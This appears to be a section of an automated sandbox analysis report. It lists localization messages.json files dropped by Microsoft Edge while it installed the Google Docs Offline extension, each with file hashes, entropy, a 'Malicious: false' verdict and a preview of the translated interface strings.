Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
